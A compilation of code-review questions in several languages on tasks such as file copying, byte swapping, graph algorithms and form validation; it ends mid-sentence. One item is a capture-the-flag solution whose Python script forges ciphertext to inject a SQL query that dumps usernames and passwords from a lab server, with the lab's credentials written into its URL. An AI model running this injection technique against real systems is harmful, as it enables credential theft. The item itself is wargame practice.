texts:
#!/usr/bin/env python

"""
Safely copies .mpg files from one volume to another using
temporary filenames and hash verification
"""

import os
from datetime import datetime
from hashlib import sha256
from shutil import copy2

#ask user for origin (where to get files)
def choose_drive(drives, label):
    while True:
        for d in drives:
            print '%s - %s' % (drives.index(d)+1,d)
        drive = raw_input('Select %s: ' % label)
        if not drive in str(range(0, len(drives)+1)):
            continue
        else:
            return os.path.join('/Volumes', drives[int(drive)-1])

# safe copy
def safe_copy(src, dst):
    dst_temp_name = dst+'_INCOMPLETE'
    try:
        copy2(src,dst_temp_name)
        if compare_hashes(src, dst_temp_name):
            try:
                os.rename(dst_temp_name, dst)
            except Exception as e:
                print 'Error trying to rename the file: ', e
        else:
            safe_copy(src, dst)
    except Exception as e:
        print 'Error trying to copy the file: ', e

# hash a file and return the hash string
def get_local_hash(filename, block_size=2**20):
    """
    Hashes a file using SHA1
    """
    # print 'Starting hash of %s at %s' % (filename, datetime.now().time())
    print 'Hashing', filename
    try:
        local_file = open(filename,'rb')
    except Exception as e:
        print 'Error while opening file for hashing: ', e
    hasher = sha256()
    while True:
        data = local_file.read(block_size)
        if not data:
            break
        hasher.update(data)
    # print 'Finished hash at %s' % datetime.now().time()
    result = hasher.hexdigest()
    local_file.close()
    return unicode(result)

def compare_hashes(file1, file2):
    if get_local_hash(file1) == get_local_hash(file2):
        return True

#main
def main():
    # get list of volumes
    drives = [d for d in os.listdir('/Volumes')]
    # ask user for origin drive
    origin = choose_drive(drives, 'Origin')
    origin_files = os.listdir(origin)
    # ask user for destination drive
    destination = choose_drive(drives, 'Destination')
    destination_files = os.listdir(destination)
    # for each file on origin, check if it exists on destination
    for of in origin_files:
        if of.endswith('.mpg'):
            if of in destination_files:
                if compare_hashes(os.path.join(origin, of), os.path.join(destination, of)):
                    print 'already exists and is identical... skipping', of
                else:
                    print 'already exists but is different... copying', of
                    safe_copy(os.path.join(origin, of), os.path.join(destination, of))
            else:
                print 'does not exists... copying', of
                safe_copy(os.path.join(origin, of), os.path.join(destination, of))

if __name__ == "__main__":

    main()


texts: Go command-line tool to do some simple byte manipulation

texts:
I have some files containing 16-bit words in big-endian order, and a tool to process them that assumes little-endian order. I therefore need to swap the order of each pair of bytes in my files.

This is almost a one-liner in Python (data[0::2], data[1::2] = data[1::2], data[0::2]). However, since I need to do this manipulation often, I decided to write a standalone tool to do it. Also, for learning purposes, I decided to write this simple tool as my first Go program.

I look forward to any comments you may have about this code:

byteswap16.go

package main

import "fmt"
import "io/ioutil"
import "os"

func parseArgs(args []string) (string, string, error) {
    if len(args) != 3 {
        return "", "", fmt.Errorf("Usage: %s infile outfile", args[0])
    }

    return args[1], args[2], nil
}

func byteswap16(data []byte) ([]byte, error) {
    length := len(data)
    if length%2 != 0 {
        return nil, fmt.Errorf("Length is not a multiple of 2 bytes")
    }

    swapped := make([]byte, length)
    for i := 0; i < length; i++ {
        swapped[i] = data[i^1]
    }

    return swapped, nil
}

func run() error {
    infile, outfile, err := parseArgs(os.Args)
    if err != nil {
        return err
    }

    data, err := ioutil.ReadFile(infile)
    if err != nil {
        return err
    }

    swapped, err := byteswap16(data)
    if err != nil {
        return fmt.Errorf("%s: %v", infile, err)
    }

    if err := ioutil.WriteFile(outfile, swapped, 0666); err != nil {
        return err
    }

    return nil
}

func main() {
    if err := run(); err != nil {
        fmt.Fprintf(os.Stderr, "Error: %v\n", err)
        os.Exit(1)
    }
}

A couple of comments of my own:

As with the Python, the core algorithm is very little code, but it's written very differently - an explicit for loop over individual bytes rather than higher-level manipulation of many values at a time. I think I like the explicit loop more, because it's a more general solution - changing to byteswap32 wouldn't require much more than changing i^1 to i^3.
A common complaint about Go, but I don't really like the repetitive if err != nil in run. However, it does provide an obvious place to wrap err to add context, as is done after the call to the byteswap16 function. If exceptions were used instead, the code would be more concise but the error message would be worse, because I don't think I would catch and re-throw to add context.

In general, would this be considered good-quality, idiomatic Go code?


texts:
I have a database containing at least 2 collections datagroup and data.
Each data document have a reference to the _id of one of the datagroup documents.

I want to find all datagroup documents that have no data pointing to, the fastest as possible.

For this, I use a javascript mongo shell script.

I have these options for now (if you have one more, feel free to suggest):

  Notes:

  data.vid is the same value as datagroup._id (like external key, of kind ObjectId)
  There is a large number of data (~100,000,000) and datagroup (~20,000)

Option 1: (123s)

/* 0s since beginning (experimented) */
// get id of all datagroups used in data
let withData = db.data.find({})           // get all data
                      .map(d=>d.vid)      // to array of ObjectId
/* 1m40s since beginning (experimented) */

withData = Array.from(new Set(withData)); // remove duplicates in array
/* 1m52s since beginning (experimented) */

// find datagroup that ids not in ObjectId array
let withoutData = db.datagroup.find({_id: {$nin: withData}})
                              .map(dg=>dg._id);  // get their ids
/* 2m03s since beginning (experimented) */

Option 2: (59s)

/* 0s since beginning (experimented) */
// get id of all datagroups used in data
let withData = db.data.aggregate([
    {$project:{vid:1, _id:0}},       // keep only references to datagroups
    {$group:{_id:"$vid"}}            // remove duplicates
]).map(d=>d.vid.str);                // to array of ObjectId strings
/* 37s since beginning (experimented) */

let withoutData = db.datagroup.find({})      // find all datagroups
                              .map(dg=>dg._id) // get theys ids
                                             // compare with array of ids
                              .filter(vid => withData.indexOf(vid.str) < 0);
/* 59s since beginning (experimented) */

Option 3: (109s)

/* 0s since beginning (experimented) */
let withoutData = db.datagroup.aggregate([
    {$project:{_id:1}},       // keep only ids
    {$lookup:{
        from: "data",         // grouping data with datagroups
        localField: "_id",
        foreignField: "vid",
        as: "dgs"
    }},
    {$match:{dgs:[]}}        // keep only datagroups without data
]).map(dg=>dg._id);
/* 1ms49 since beginning (experimented) */

Do you think there is a better way than doing this, or should I use the option 2 because it's just the best way to do this kind of request ? (Or maybe you have ideas in order to speed up my options ?)


texts: Repetitive code for different Database Entities with same implementation

texts:
I have this code in LogInService

public User isValid(User user) {
        if(user == null)
            return user;

        User db_user = userDao.getUserByUsername(user.getUsername());
        if (db_user != null) {
            try {
                if (PasswordHash.validatePassword(user.getPassword(),db_user.getPassword())) {
                    return db_user;
                }
            } catch(Exception e){ e.printStackTrace(); }
        }

        return null;
    }

    public Administrator isValid(Administrator admin){
        if(admin == null)
            return admin;

        Administrator db_admin = adminDao.getAdminByUsername(admin.getUsername());

        if(db_admin != null){
            try{
                if (PasswordHash.validatePassword(admin.getPassword(),db_admin.getPassword())) {
                    return db_admin;
                }
            }catch(Exception e){ e.printStackTrace(); }
        }

        return null;
    }

Where we use a null to check if the user is valid.

My problem now is this. Users and Admins are a different entities but for them to be logged in into the system they have to login. both user and admin has the same method of logging in checking.

My question is there anyway I can refactor this repetitive code inside my Service layer class? or should create a different service layer for Admins to logged in?


texts: Method that adds edges to a graph until all nodes have the given degree

texts:
Exercise 2-3 in Think Complexity: Complexity Science and Computational Modeling by Allen B. Downey asks us to implement a method for a class of undirected graphs:

Write a method named add_regular_edges that starts with an edgeless graph and adds edges so that every vertex has the same degree. The degree of a node is the number of edges it is connected to.
To create a regular graph with degree 2, you would do something like this:
vertices = [ ... list of vertices ...]
g = Graph(vertices, [])
g.add_regular_edges(2)

It is not always possible to create a regular graph with a given degree, so you should figure out and document the preconditions for this method.

This was a little difficult for me as I am still getting comfortable with Python. Here was what my solution ended up looking like (heavily commented for myself and others):
def add_regular_edges(self, deg):

    #for every node in the graph
    for v in self:

        #set the degree tolerance to 1
        tol = 1

        #while the degree of current node is less than the given degree
        while self.degree(v) < deg:

            #traverse over every node
            for w in self:

                '''if the 2 nodes do not equal one another, the current degree (v) is less than the given degree,
                and the other node (w) is less than the current tolerance -> add the edge'''
                if v != w and (self.degree(v) < deg) and (self.degree(w) < tol):
                    self.add_edge(Edge(v,w))

            #increase the tolerance in case we could not fill all nodes in the first pass
            tol += 1

            #if at any point the tolerance is more than the degree, then we cannot complete the graph with the given degree
            if tol > (deg+1):
                raise ValueError("The graph cannot be converted to the given degree")

However, I have a strong suspicion that this is not the most optimal way to go about this. One of my friends commented that I might be able to do this using lists and enumerating over them?


texts: Basic Nim game vs computer in JavaScript

texts:
This is my first time writing a basic program/game in any programming language.
It is supposed to a be a Nim game vs a computer with these basic parameters:

Use prompt() to prompt moves and input.
Use console.log() draw the board.

The board should look like this:

  Pile A: ooooo

  Pile B: ooo

  Pile C: ooooo

It has been very difficult for me to approach this problem, and I know the logic that I have used is very basic and buggy. Any pointers would be appreciated, whether in the code or my approach to solving the problem in general.

 var pileA = {
   circles: "ooooo",
   print: function() {
     console.log("Pile A: " + this.circles);
   }
 };

 var pileB = {
   circles: "ooooo",
   print: function() {
     console.log("Pile B: " + this.circles);
   }
 };

 var pileC = {
   circles: "ooooo",
   print: function() {
     console.log("Pile C: " + this.circles);
   }
 };

 function printBoard(){
     console.log("**** Nim ****");
     pileA.print();
     pileB.print();
     pileC.print();
 }

 function yourMove(){

     printBoard();

     var moveData = prompt("Type letter of pile and # of o's you are removing.\n" +
                             "Ex. A1 or C4");

     if (moveData[0] == 'A') {
         var x = pileA.circles.length - moveData[1];
         pileA.circles = pileA.circles.slice(0,x);
         return pileA.circles;
     } else if (moveData[0] == 'B') {
         var x = pileB.circles.length - moveData[1];
         pileB.circles = pileB.circles.slice(0,x);
         return pileB.circles;
     } else if (moveData[0] == 'C') {
         var x = pileC.circles.length - (moveData[1]+1);
         pileC.circles = pileC.circles.slice(0,x);
         return pileC.circles;
         }

 }

 function computersMove() {

     printBoard();

     alert("Now it is the computer's turn!");

     if (pileA.circles != "") {
         pileA.circles = pileA.circles.slice(0,0);
         return pileA.circles;
     } else if (pileB.circles != "") {
         pileB.circles = pileB.circles.slice(0,0);
         return pileB.circles;
     } else if (pileC.circles != "") {
         pileC.circles = pileC.circles.slice(0,0);
         return pileC.circles;
     }

     if (pileA.circles == "" &&
     pileB.circles == "" &&
     pileC.circles == "") {
         console.log("Computer Wins!!!");
         }
 }

 while (pileA.circles != "" ||
     pileB.circles != "" ||
     pileC.circles != "") {

         yourMove();
         if (pileA.circles == "" &&
             pileB.circles == "" &&
             pileC.circles == "") {
                 console.log("You win!!!");
                 }

        if (pileA.circles != "" ||
            pileB.circles != "" ||
            pileC.circles != "") {
                 computersMove();
                 }
     }

 alert('Game Over!');


texts: Project Euler #6 (Sum square difference) in Swift

texts:
import Foundation

func printTimeElapsedWhenRunningCode(title:String, operation:()->()) {
    let startTime = CFAbsoluteTimeGetCurrent()
    operation()
    let timeElapsed = CFAbsoluteTimeGetCurrent() - startTime
    println("Time elapsed for \(title): \(timeElapsed) s")
}

func squaresSummed(first: Int, second: Int) -> Int {
    return (first + (second * second))
}

func solution6() {
    let firstHundredInts = [Int](1 ... 100)
    let summed = firstHundredInts.reduce(0) { $0 + $1 }
    let summedSquared = summed * summed

    let squaredSummed = firstHundredInts.reduce(0, combine: squaresSummed)

    let answer = summedSquared - squaredSummed

    println(String(answer))
}

printTimeElapsedWhenRunningCode("Sum square difference", solution6)

Some of the built in Swift stuff made this quite nice.  The syntax for declaring an array which is a simple list of integers is very convenient.  It runs faster than iterating through a loop to set all the values, types faster and reads better than typing all the values out by hand.

I quite like the reduce function on Swift arrays.

What could make this more Swift...-onic?  What needs improvement?


texts: Determining whether a string can be rearranged into a palindrome

texts:
For a string, count the number of occurences of each character. If at most one character has odd count then the string can be a palindrome else it's not.

public class Palindrome {
        //count the chars in the input string
            //if not more than one character has odd count then palindrome is possible
            public static boolean isPalindromPossible(String input)
            {
                int[] charCount = new int[128];
                for(int i = 0 ; i < input.length() ; i++)
                {
                    charCount[(int)input.charAt(i)]++;
                }
                int oddCount = 0 ;
                for(int i  = 0 ; i < 128 ; i++)
                {
                    if(charCount[i] % 2!=0)
                    {
                        oddCount++;
                    }
                }

                if(oddCount != 0 && oddCount != 1)
                {
                    return false;
                }
                return true;
            }

            public static void main(String[] args) {
                String input = "aacaacc";
                System.out.println(isPalindromPossible(input));
            }
    }


texts: Algorithm design for CodeChef - Base Attack

texts:
I was working on a CodeChef challenge: Base attack. I have a working solution but it is not fast enough. Could you recommend anything to make it faster?

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.HashMap;
import java.util.Map;

class BaseAttack {
private static Map<long[], Integer> powerMaps = new HashMap<>();
public static void main(String[] args) throws IOException {
    BufferedReader in = new BufferedReader(new InputStreamReader(System.in));
    int testCases;
    testCases = Integer.valueOf(in.readLine());

    for(int i = 0; i < testCases; i++){
        long number;
        number = Long.valueOf(in.readLine());
        if(number == 1L){
            System.out.println("INFINITY");
            continue;
        }
        if(number == 0L){
            System.out.println("0");
            continue;
        }
        if(number == 2l){
            System.out.println("1");
            continue;
        }
        if(number == 3l){
            System.out.println("2");
            continue;
        }
        long half = number / 2;
        long count = 1L + (number -half);
        for (long base = 3; base <= half; base++){
            long bound = base;
            while(true){
                if(number >= bound){
                    if(2* bound > number){
                       count++;
                       break;
                    }else{
                        bound *= base;
                    }
                }else{
                    break;
                }
            }
        }

        System.out.println(count);
    }
 }
}


texts: A simple clusterness measure of data in one dimension using Java

texts:
Problem definition

Given \$X = (x_1, \dots, x_n)\$ such that \$x_1 \leq x_2 \leq \dots \leq x_n \$. Let \$x_{\min} = \min X = x_1\$, \$x_{\max} = \max X = x_n\$ and \$r = x_{\max} - x_{\min}\$. Also, let \$m = n - 1\$. Finally,
$$
\ell = \frac{r}{m}
$$
is the average gap length. The clusterness measure CM of \$X\$ is given by
$$
1 - \frac{1}{r} \sum_{i = 1}^m \min(\vert \ell - \Delta_i \vert, \ell),
$$
where \$\Delta_i = x_{i + 1} - x_i\$ is the length of the \$i\$th gap. Assuming \$r > 0\$, CM returns a value in range \$[0, 1)\$ that represents how well the points in \$X\$ are close to each other, the value of 0 denoting the situation where all the gaps are equal in length. If we define \$CM = 1\$ in case \$r = 0\$ (all \$x_i\$ are equal), the range of CM extends to \$[0, 1]\$.

Solution

package net.coderodde.datascience.measures;

import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collection;
import java.util.Collections;
import java.util.List;

/**
 * This class implements a method for computing clusterness measure (CM). CM
 * asks for a set of points x1, x2, ..., xn, and it returns a
 * number within [0, 1]. The
 * idea behind CM is that it returns 0 when all the data points are equal and 1
 * whenever all adjacent points are equidistant.
 *
 * @author Rodion "rodde" Efremov
 * @version 1.6 (Feb 21, 2019)
 */
public class ClusternessMeasure {

    public double computeClusternessMeasure(Collection<Double> points) {
        List<Double> pointList = new ArrayList<>(points);
        Collections.sort(pointList);

        double minimumPoint = pointList.get(0);
        double maximumPoint = pointList.get(pointList.size() - 1);
        double range = maximumPoint - minimumPoint;

        if (range == 0.0) {
            // Once here, all data points are equal and so CM must be 1.0.
            return 1.0;
        }

        double expectedDifference = range / (points.size() - 1);
        double sum = 0.0;

        for (int i = 0; i < points.size() - 1; i++) {
            double currentDifference = pointList.get(i + 1) - pointList.get(i);
            sum += Math.min(Math.abs(expectedDifference - currentDifference),
                                     expectedDifference);
        }

        return sum / range;
    }

    public static void main(String[] args) {
        ClusternessMeasure cm = new ClusternessMeasure();

        // CM = 0.0
        System.out.println(
                cm.computeClusternessMeasure(
                        Arrays.asList(1.0, 2.0, 3.0, 4.0, 5.0)));

        // CM = 1.0
        System.out.println(
                cm.computeClusternessMeasure(
                        Arrays.asList(2.0, 2.0, 2.0)));

        System.out.println(
                cm.computeClusternessMeasure(
                        Arrays.asList(1.0, 2.0, 3.0, 5.0, 4.0, 6.0, 7.1)));
    }
}

Critique request

Please tell me anything that comes to mind. I am most interested in coding conventions and naming style. Also, would like to hear comments from machine learning perspective.


texts: Find the number of quadraples (a,b,c,d) from 4 respective arrays such that a+b+c+d=0

texts:
Given four lists of numbers, calculate how many ways there are to
  choose one element from each to get a sum of zero.

  The input is given on stdin, first the length of all lists n, then n
  tuples containing an element from each, like this:

6
-45 22 42 -16
-41 -27 56 30
-36 53 -37 77
-36 30 -75 -46
26 -38 -10 62
-32 -54 -6 45

The task on SPOJ is here.

 #include <cstdio>
 #include <algorithm>
 using namespace std;
 #define MAX 10000001

    int arx[MAX];
    int ary[MAX];

     int main(){
     int n;scanf("%d",&n);
     int tmp1[n],tmp2[n],tmp3[n],tmp4[n];
     int n2=n*n;

     for(int i=0;i<n;i++)
        scanf("%d%d%d%d",&tmp1[i],&tmp2[i],&tmp3[i],&tmp4[i]);

     int count=0;
     for(int i=0;i<n;i++)
     {
        for(int j=0;j<n;j++)
        {
        arx[count]=tmp1[i]+tmp2[j];
        ary[count]=tmp3[i]+tmp4[j];
        count++;
        }
     }

     sort(arx,arx+n2);
     sort(ary,ary+n2);

     long long sum=0;

     for(int i=0;i<n2;i++)
     {   int key=-arx[i];
         int low1=0,high1=n2-1;
         while(low1<=high1)
      {
             int mid=(low1+high1)/2;
             if(ary[mid]<key)low1=mid+1;
             else high1=mid-1;
      }

         if(low1<n2&&ary[low1]==key)
         {
           int low2=0,high2=n2-1;
           while(low2<=high2)
           {
             int mid=(low2+high2)/2;
             if(ary[mid]>key)high2=mid-1;
             else low2=mid+1;
           }

         if(high2>=0&&ary[high2]==key)
         sum+=high2-low1+1;
        }

     }
     printf("%lld",sum);
     printf("\n");
    return 0;
}

I made an array(arx[]) to store all possible a+b and an array(ary[]) to store all possible c+d; Then I used binary-search to find no of occurrences of each (-)element of arx[] in ary[]. I narrowly passed the time limit.

I suspect there's a better way to do it.


texts: Request for memory optimizations for solution to Google FooBar challenge, "ion_flux_relabeling,"

texts:
I just finished one of the Google FooBar Challenges.My Python is super rusty. I did the challenge in Haskell first and then attempted to covert the code. I am guessing that led to some bad Python Practices.

  Oh no! Commander Lambda's latest experiment to improve the efficiency
  of her LAMBCHOP doomsday device has backfired spectacularly. She had
  been improving the structure of the ion flux converter tree, but
  something went terribly wrong and the flux chains exploded. Some of
  the ion flux converters survived the explosion intact, but others had
  their position labels blasted off. She's having her henchmen rebuild
  the ion flux converter tree by hand, but you think you can do it much
  more quickly - quickly enough, perhaps, to earn a promotion!

  Flux chains require perfect binary trees, so Lambda's design arranged
  the ion flux converters to form one. To label them, she performed a
  post-order traversal of the tree of converters and labeled each
  converter with the order of that converter in the traversal, starting
  at 1. For example, a tree of 7 converters would look like the
  following:

      7
     /   \
   3      6
  /  \   / \
 1   2  4   5

  Write a function answer(h, q) - where h is the height of the perfect
  tree of converters and q is a list of positive integers representing
  different flux converters - which returns a list of integers p where
  each element in p is the label of the converter that sits on top of
  the respective converter in q, or -1 if there is no such converter.
  For example, answer(3, [1, 4, 7]) would return the converters above
  the converters at indexes 1, 4, and 7 in a perfect binary tree of
  height 3, which is [3, 6, -1].

  The domain of the integer h is 1 <= h <= 30, where h = 1 represents a
  perfect binary tree containing only the root, h = 2 represents a
  perfect binary tree with the root and two leaf nodes, h = 3 represents
  a perfect binary tree with the root, two internal nodes and four leaf
  nodes (like the example above), and so forth. The lists q and p
  contain at least one but no more than 10000 distinct integers, all of
  which will be between 1 and 2^h-1, inclusive.

How could I make my solution more memory efficient?

def splitInHalf(aList):
    full = len(aList)
    half = full/2
    return aList[0:half], aList[half:full]

class Tree(object):
    def __init__(self):
        self.left = None
        self.right = None
        self.data = None
    def __str__(self):
        return ("Data = " + str(self.data) + "Left = " + str(self.left) + "Right = " + str(self.right)  )

def makeTree(h):
    limit = (2**h)-1
    fluxConverters = list(range(limit,0,-1))
    result = generate_tree(list(fluxConverters))
    return result

def generate_tree(listInt):
    if not listInt:
        return None
    elif (len(listInt) == 1):
        rTreeOne = Tree()
        rTreeOne.data = listInt[0]
        return rTreeOne
    else:
        rTreeList = Tree()
        rTreeList.data   = listInt.pop(0)
        half1, half2 = splitInHalf(list(listInt))
        rTreeList.left   = generate_tree(half1)
        rTreeList.right  = generate_tree(half2)
        return rTreeList

def searchTree(tree,search):
    if tree == None:
        return -1
    else:
        if (nextHaz(tree.left,search) | nextHaz(tree.right,search)):
            return tree.data
        else:
            left = searchTree(tree.left,search)
            right = searchTree(tree.right,search)
            return mergeResults(left,right)

def mergeResults(x,y):
    if(x!=-1):
        return x
    else:
        return y

def nextHaz(tree, search):
    if(tree != None):
        return tree.data == search
    else:
        return False

def answer(h,q):
    tree = makeTree(h)
    partialSearch = lambda x : searchTree(tree,x)
    result = map(partialSearch,q)
    return result

answer(3,[7, 3, 5, 1])
testOneResult = [-1, 7, 6, 3]

answer(5,[19, 14, 28])
testTwoResult = [21, 15, 29]


texts:
I have this jQuery form with 4 text inputs.
The first one only accepts digits, the second one formats value into 'de-DE' price format accepting 2 decimals, the second does the same but accepts 5 decimals after decimal separator, fourth one automatically adds periods for date input.

    $(window).ready(function () {
             function validateNumber(event) {
     var $txtBox = $(this);
     var key = window.event ? event.keyCode : event.which;
                      //activates the Backspace button and right/left arrows
     if (event.keyCode == 8 || event.keyCode == 9 || event.keyCode == 37 || event.keyCode == 39) {
      return true;
     } // prevent if not number/dot
      else if ( key < 44 || key > 57 && event.keyCode != 44) {
      event.preventDefault();
     }else {
     var len = $txtBox.val().length;
     var index = $txtBox.val().indexOf(',');

     if (index > 0 && event.keyCode == 44) {
     return false;
     }
     if (index > 0) {
     var charAfterdot = (len + 1) - index;
     if (charAfterdot > 6) {
      return false;
     }
    }
   }
      return $txtBox;
        };
            $('[id^=int]').keypress(validateNumber);
   $('[id^=float1]').keypress(validateNumber);
   $('[id^=float1]').on("blur", numberFormat);

     function numberFormat(event) {
        var number = parseFloat(this.value);
     console.log(this.value);
     console.log("before: " + number);
     console.log("after: " + number.toLocaleString('de-DE',{maximumFractionDigits: 5, style:'currency', currency:'EUR'}));
      this.value = isNaN(number) ? '0': number.toLocaleString('de-DE',{maximumFractionDigits:5, style:'currency', currency:'EUR'});
      var digits = maximumFractionDigits;
    };
   $('[id^=float2]').keypress(validateNumber);
   $('[id^=float2]').on("blur", numberFormat);
     var dt = dateFormatter('#date');
       $('[id^=date]').keypress(validateNumber);
        });
<!DOCTYPE html>

 <meta charset="utf-8"/>

  <form style="display:block;margin:0 auto;border:1px solid #aaa;border-radius:10px;width:215px;padding:10px;margin-top:100px;background-color:#F0F0F0;box-shadow:2px 2px 2px 2px rgba(0,0,0,0.2);">

     Number:
     <input id="int" type="input" value="0" size="5" maxlength="13" style=width:100px;margin-left:5px;,/>

     FloatComma1:
     <input id="float1" decimalPlaces="2" type="text" maxlength="13" style=width:100px;margin-left:5px;/>

     FloatComma2:
     <input id="float2" decimalPlaces="5" type="text" maxlength="13" style=width:100px;margin-left:5px;/>

     Date:
     <input id="date" type="text" value="" maxlength="10"  style=width:100px;margin-left:5px; />

  </form>

As you can see, the FloatComma1 variable is allowing more than 2 decimals because my numberFormat function has this.value = number.toLocaleString('de-DE',{maximumFractionDigits:5});, so it allows 5.

Does anyone know a way how I could just replace the 5 with, let´s say a variable decimals, which I can give separate values to?
For example, I could call the variable in FloatComma1 decimals = 3 , and in FloatComma2 decimals = 5?

I do not know how to do it. Can someone help?


texts:
Another natas challange, they are getting progressively harder. I barely completed this. Mostly thnx to @aires to help me with the crypto stuff.
This time, a Padding Oracle attack was needed to get the password for the next level. Another reason to be scared of crypt:o
In short the Padding Oracle Attack works like this:

It turns out that knowing whether or not a given ciphertext produces plaintext with valid padding is ALL that an attacker needs to break a CBC encryption. If you can feed in ciphertexts and somehow find out whether or not they decrypt to something with valid padding or not, then you can decrypt ANY given ciphertext.
So the only mistake that you need to make in your implementation of CBC encryption is to have an API endpoint that returns 200 if the ciphertext gives a plaintext with valid padding, and 500 if not.

I've added a link with the full description
import requests
import re
import base64
from urllib.parse import quote, unquote

def natas28(url):
    session = requests.Session()
    cipher_text = lambda url, plain_text:base64.b64decode(unquote(session.post(url, data={"query":plain_text}).url.split("query=")[1]))

    def _block_size(url):
        ciphertext = cipher_text(url, '')
        pre_len = len(ciphertext)
        idx = 0

        while pre_len >= len(ciphertext):
            plaintext = 'a' * idx
            ciphertext = cipher_text(url, plaintext)
            idx += 1

        return len(ciphertext) - pre_len

    def _prefix_size(url):
        block_size = _block_size(url)
        plain_text = 'a' * block_size * 3
        cypher = cipher_text(url, plain_text)
        cipher_a = ""

        for i in range(0, len(cypher), block_size):
            if cypher[i:i+block_size] == cypher[i+block_size: i+block_size*2]:
                cipher_a = cypher[i: i+block_size]
                break

        for i in range(block_size):
            plain_text = 'a' * (i + block_size)
            cypher = cipher_text(url, plain_text)
            if cipher_a in cypher:
                return block_size, i, cypher.index(cipher_a)

    block_size, index, cypher_size = _prefix_size(url)
    plain_text = 'a'* (block_size // 2)
    cypher = cipher_text(url, plain_text)

    sql = " UNION ALL SELECT concat(username, 0x3A ,password) FROM users #"
    pt = 'a' * index + sql + 'b' * (block_size - (len(sql) % block_size))
    ct = cipher_text(url, pt)
    e_sql = ct[cypher_size:cypher_size-index+len(pt)]
    response = session.get(f"{url}search.php/?query=", params={"query": base64.b64encode(cypher[:cypher_size]+e_sql+cypher[cypher_size:])})
    return re.findall(r"<li>natas29:(.{32})<\/li>", response.text)[0]

if __name__ == '__main__':
     url='http://natas28:JWwR438wkgTsNKBbcJoowyysdM82YjeF@natas28.natas.labs.overthewire.org/'
     print(f"Password = {natas28(url)}")

I know it's only a challange, so I don't always feel the need to us proper variable names. But I fear when I come back to this challange, I'm confused how this worked again.
Any review is welcome.


texts: Retrieve and load playlists from YouTube

texts:
I have this code I am using in a private project.  The following is a snippet of code I use to retrieve and load playlists from YouTube:

for (feedEntry in a.feed.entry) {
  if (a.feed.entry.hasOwnProperty(feedEntry)) {
  feedTitle = a.feed.entry[feedEntry].title.$t.replace('] - ', ']').replace(' : ', '').replace(/\(.*?\)/g, "").replace(/\[.*?\]/g, "");
  feedURL = a.feed.entry[feedEntry].link[1].href;
  fragments = feedURL.split("/");
  videoID = fragments[fragments.length - 2];
  url = videoURL + videoID;
  var c = feedTitle.split(' - ');
  tracklist.push({
    'title': c[1],
    'artist': c[0],
    'url': 'http://youtubeinmp3.com/fetch/?video=http://www.youtube.com/watch?v=' + videoID + '',
    'album': 'YouTube'
  })
}

This code, understandably, causes the browser to freeze a few seconds when loading larger playlists.

What ways could I go about optimizing this?


texts:
For some reporting, I need to print a human readable date string for the week covered by the report, using just the standard python module library.  So the strings should look like:

  Dec 29, 2013 - Jan 4, 2014

  Jan 26 - Feb 1, 2014

  Jan 19 - 25, 2014

Below is a script I threw together to achieve this.  But is there a simpler way to do this?

from datetime import (datetime, date, timedelta)

def week_string(dt):
    (year, week, weekday) = dt.isocalendar()
    week_0 = dt - timedelta(days=weekday)
    week_1 = dt + timedelta(days=(6-weekday))

    month_0 = week_0.strftime("%b")
    day_0 = week_0.strftime("%e").strip()
    year_0 = week_0.strftime("%Y")

    month_1 = week_1.strftime("%b")
    day_1 = week_1.strftime("%e").strip()
    year_1 = week_1.strftime("%Y")

    if year_0 != year_1:
        return "%s %s, %s - %s %s, %s" %(
            month_0, day_0, year_0,
            month_1, day_1, year_1)
    elif month_0 != month_1:
        return "%s %s - %s %s, %s" %(
            month_0, day_0,
            month_1, day_1, year_1)
    else:
        return "%s %s - %s, %s" %(
            month_0, day_0, day_1, year_1)

print week_string(date(2013, 12, 30))
print week_string(date(2014, 01, 30))
print week_string(datetime.date(datetime.now()))

Since the report script is going to be shared with other people, I want to avoid adding dependencies on anything they'd need to install.


texts: Sorting multiple vectors based on a reference vector

texts:
I am trying to sort vectors based on a reference vector. First I am getting the indexes for the reference vector and then using that I am doing inplace sorting for the rest of the vectors.

#include <vector>
#include <cassert>
#include <iostream>
#include <algorithm>

using iter = std::vector<int>::iterator;
using order_type = std::vector<std::pair<size_t, iter>>;

void create_permutation(order_type &order)
{
        struct ordering {
                bool operator ()(std::pair<size_t, iter> const& a, std::pair<size_t, iter> const& b) {
                        return *(a.second) < *(b.second);
                }
        };

        std::sort(order.begin(), order.end(), ordering());
}

void reorder(std::vector<int> &vect, order_type index)
{
        for (int i=0; i< vect.size(); i++)
        {
                while (index[i].first != i)
                {
                        int  old_target_idx  = index[index[i].first].first;
                        int old_target_v  = vect[index[i].first];

                        vect[index[i].first] = vect[i];
                        index[index[i].first].first = index[i].first;

                        index[i].first = old_target_idx;
                        vect[i]   = old_target_v;
                }
        }
}

template<typename... argtype>
void sort_from_ref(argtype... args);

template<typename T, typename A, typename... argtype>
void sort_from_ref(order_type order, std::vector<T,A> &vect, argtype &&...args)
{
        reorder(vect, order);
        sort_from_ref(order, std::forward<argtype>(args)...);
}

template<>
void sort_from_ref(order_type order, std::vector<int> &vect) {
        reorder(vect, order);
}

int main()
{
        size_t n = 0;
        std::vector<int> vect_1{ 1, 0, 2, 3 };
        std::vector<int> vect_2{ 100, 200, 300, 400 };
        std::vector<int> vect_3{ 100, 200, 300, 400 };
        std::vector<int> vect_4{ 400, 200, 3000, 4000 };
        std::vector<int> vect_5{ 500, 200, 360, 400 };
        order_type order(vect_1.size());

        for (iter it = vect_1.begin(); it != vect_1.end(); ++it) {
                order[n] = std::make_pair(n, it);
                n++;
        }
        create_permutation(order);
        sort_from_ref(order, vect_2, vect_3, vect_4, vect_5);

        {
                std::vector<int> test{200, 100, 300, 400};
                assert(vect_2 == test);
        }
        {
                std::vector<int> test{200, 100, 300, 400};
                assert(vect_3 == test);
        }
        {
                std::vector<int> test{200, 400, 3000, 4000};
                assert(vect_4 == test);
        }
        {
                std::vector<int> test{200, 500, 360, 400};
                assert(vect_5 == test);
        }

        return 0;
}


texts: Handling external API calls status code in my application

texts:
I have a Web API application in .NET Core 3.1. In a controller I have a GET action that must return a JSON object with a name and a description. In order to retrieve the correct description I need to call an external API (not implemented by myself and outside of my control). This is the code in the controller:

public async Task<ActionResult<Models.Result>> Get(string name)
{
    try
    {
        var objectWrapper = await _clientService.GetObjectAsync(name.ToLowerInvariant());

        //Other logic here....

        return Ok(new Models.Result { Name = name, Description = objectWrapper.Description} );
    }
    catch (Exception ex)
    {
        _logger.LogError($"Failed to get object {name}: {ex}");
        if (ex is ApiCallFailedException apiCallEx)
